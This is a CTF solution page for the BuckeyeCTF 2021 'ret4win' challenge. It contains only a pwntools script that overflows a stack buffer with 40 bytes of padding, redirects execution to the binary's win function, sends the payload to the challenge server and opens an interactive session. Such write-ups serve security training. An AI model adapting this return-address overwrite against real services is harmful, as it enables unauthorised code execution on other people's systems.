> For the complete documentation index, see [llms.txt](https://skymas.gitbook.io/ctf/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://skymas.gitbook.io/ctf/buckeyectf-2021/ret4win.md).

# Ret4win

```python
#!/usr/bin/env python3

from pwn import *
args.LOCAL=False
LocalBin = "/Buckeye/PWN/ret4win/chall"
exe= ELF(LocalBin)
ropex= ROP(exe)


def conn():
    if args.LOCAL:
        r = process(LocalBin)
    else:
        r = remote("pwn.chall.pwnoh.io", 13379)

    return r

r = conn()
OFFSET = b'A'*40
WIN=p64(exe.symbols['win'])
payload = OFFSET  +WIN+ p64(0x0000000000401245)

r.sendlineafter(b'**beep**',payload)
r.interactive()
```